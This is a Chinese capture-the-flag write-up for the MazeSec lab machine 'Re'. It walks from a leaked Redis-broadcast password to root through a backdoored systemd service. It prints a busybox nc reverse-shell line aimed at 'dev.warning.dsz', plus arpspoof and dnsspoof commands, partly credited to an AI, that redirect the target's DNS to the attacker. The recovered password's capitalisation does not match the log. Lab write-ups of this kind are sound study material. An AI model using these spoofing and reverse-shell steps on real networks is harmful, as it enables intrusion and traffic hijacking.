

Re_mooi

目标信息

- 1 靶机名称: Re
- 2 作者: 群主
- 3 靶机ID: 619
- 4 难度: easy
- 5 靶机地址: <https://maze-sec.com>
- 6 靶机IP: 192.168.1.159
- 7 攻击机IP: 192.168.1.185(Kali Linux)

user没啥好说的, ssh就能看到账号密码

提权submini

通过 `ss -tulnp` 发现靶机本地监听了 6379 (Redis) 端口。进入 `redis-cli` 执行 `MONITOR` 命令, 截获到后台的 `publisher.py` 正在慢慢的向 `chan5` 频道广播数据。拼凑出一个长度为 20 位的字符串: `rRpG7ur4ZpzG7QIz4H7U`, 是submini的密码。

```
1 sublarge@Re:/home$ ss -tulnp
2 Netid      State      Recv-Q     Send-Q           Local Address:Port
   Peer Address:Port
3 udp        UNCONN     0           0             0.0.0.0:68
   0.0.0.0:*
4 tcp        LISTEN     0          128           0.0.0.0:22
   0.0.0.0:*
5 tcp        LISTEN     0          128       127.0.0.1:6379
   0.0.0.0:*
6 tcp        LISTEN     0          128             [::]:22
   [::]:*
7 tcp        LISTEN     0          128       [::1]:6379
   [::]:*
8 tcp        LISTEN     0          128             *:80
   *:*
```

```
1 sublarge@Re:/home$ redis-cli
2 127.0.0.1:6379> MONITOR
3 OK
4 1774350550.726931 [0 [::1]:39224] "PING"
5 1774350550.727383 [0 [::1]:39224] "PUBLISH" "chan5" "r"
6 1774350555.733584 [0 [::1]:39224] "PUBLISH" "chan5" "R"
7 1774350560.738743 [0 [::1]:39224] "PUBLISH" "chan5" "p"
8 1774350565.741079 [0 [::1]:39224] "PUBLISH" "chan5" "G"
9 1774350570.744644 [0 [::1]:39224] "PUBLISH" "chan5" "7"
10 1774350575.748923 [0 [::1]:39224] "PUBLISH" "chan5" "u"
11 1774350580.752965 [0 [::1]:39224] "PUBLISH" "chan5" "r"
12 1774350585.757080 [0 [::1]:39224] "PUBLISH" "chan5" "4"
```

```
13 1774350590.760566 [0 [::1]:39224] "PUBLISH" "chan5" "z"
14 1774350595.764524 [0 [::1]:39224] "PUBLISH" "chan5" "p"
15 1774350600.769199 [0 [::1]:39224] "PUBLISH" "chan5" "z"
16 1774350605.772546 [0 [::1]:39224] "PUBLISH" "chan5" "g"
17 1774350610.777060 [0 [::1]:39224] "PUBLISH" "chan5" "7"
18 1774350615.780869 [0 [::1]:39224] "PUBLISH" "chan5" "q"
19 1774350620.785273 [0 [::1]:39224] "PUBLISH" "chan5" "i"
20 1774350625.789117 [0 [::1]:39224] "PUBLISH" "chan5" "z"
21 1774350630.792717 [0 [::1]:39224] "PUBLISH" "chan5" "4"
22 1774350635.796724 [0 [::1]:39224] "PUBLISH" "chan5" "h"
23 1774350640.800770 [0 [::1]:39224] "PUBLISH" "chan5" "7"
24 1774350645.804881 [0 [::1]:39224] "PUBLISH" "chan5" "u"
```

提权root

ai提供的思路：

```
1 1. Redis 宕机 -> 2. publisher.py 报错崩溃 -> 3. Systemd 触发 Root 后门 -> 4. 靶机
   查询 DNS -> 5. Kali 伪造解析并接收反弹连接。
```

复盘

查看/usr/local/bin/publisher.py文件后发现：如果连接 Redis 失败（`redis.ConnectionError`），脚本会直接执行 `sys.exit(1)` 崩溃退出。

猜测它是Systemd 管理的服务，找一下它的配置文件

```
1 /etc/systemd/system/redis-publisher.service
```

发现留了一个后门

```
1 submini@Re:/etc/systemd/system$ cat redis-publisher.service
2 .....
3 ExecStopPost=/bin/bash -c '/usr/bin/busybox nc dev.warning.dsz 1234 -e
  /bin/bash'
4 .....
```

只要能让该服务停止或崩溃，系统就会自动以 Root 权限向 `dev.warning.dsz` 的 1234 端口发起反弹 Shell！

尝试改/etc/hosts文件，发现没权限

用ai给的方法：

局部网络劫持 (ARP & DNS Spoofing)

我的理解：全部操作就是为了让靶机认为 Kali 的 IP 就是 `dev.warning.dsz` 这个域名的真实归属地

kali上开3个终端分别进行下面的操作：

1.伪造 DNS 解析:

在 Kali 编写 `fake_dns.txt`, 将 `dev.warning.dsz` 指向 Kali 的 IP, 并启动 `dnsspoof`。

```
1 | └─(root@kali)-[~/aaa]
2 |   └─# vim fake_dns.txt
3 |     192.168.1.185 dev.warning.dsz
4 |
5 | └─(root@kali)-[~/aaa]
6 |   └─# sudo dnsspoof -i eth0 -f fake_dns.txt
```

或者想更方便点可以用下面这个:

```
1 | sudo dnsspoof -i eth0
```

它会默认把你 Kali 本机网卡 (eth0) 的 IP, 作为所有 DNS 请求的答案。

2.ARP 欺骗:

在 Kali 启动 `arp spoof`, 阻断靶机与网关的通信, 将靶机的 DNS 请求强行引流至 Kali。

```
1 | └─(root@kali)-[~/aaa]
2 |   └─# sudo arpspoof -i eth0 -t 192.168.1.159 192.168.1.1
```

3.开启监听:

在 Kali 开启 `nc -lvp 1234` 等待 Root 连入。

```
1 | └─(root@kali)-[~]
2 |   └─# nc -lvp 1234
3 |     listening on [any] 1234 ...
```

触发反弹 Shell (The Kill Chain)

一切就绪后, 回到靶机的 `submini` 终端, 直接对 Redis 服务下达停止指令 (加上 `nosave` 防止因权限不足导致的关机失败) :

```
1 | redis-cli shutdown nosave
```

执行后发现成功反弹shell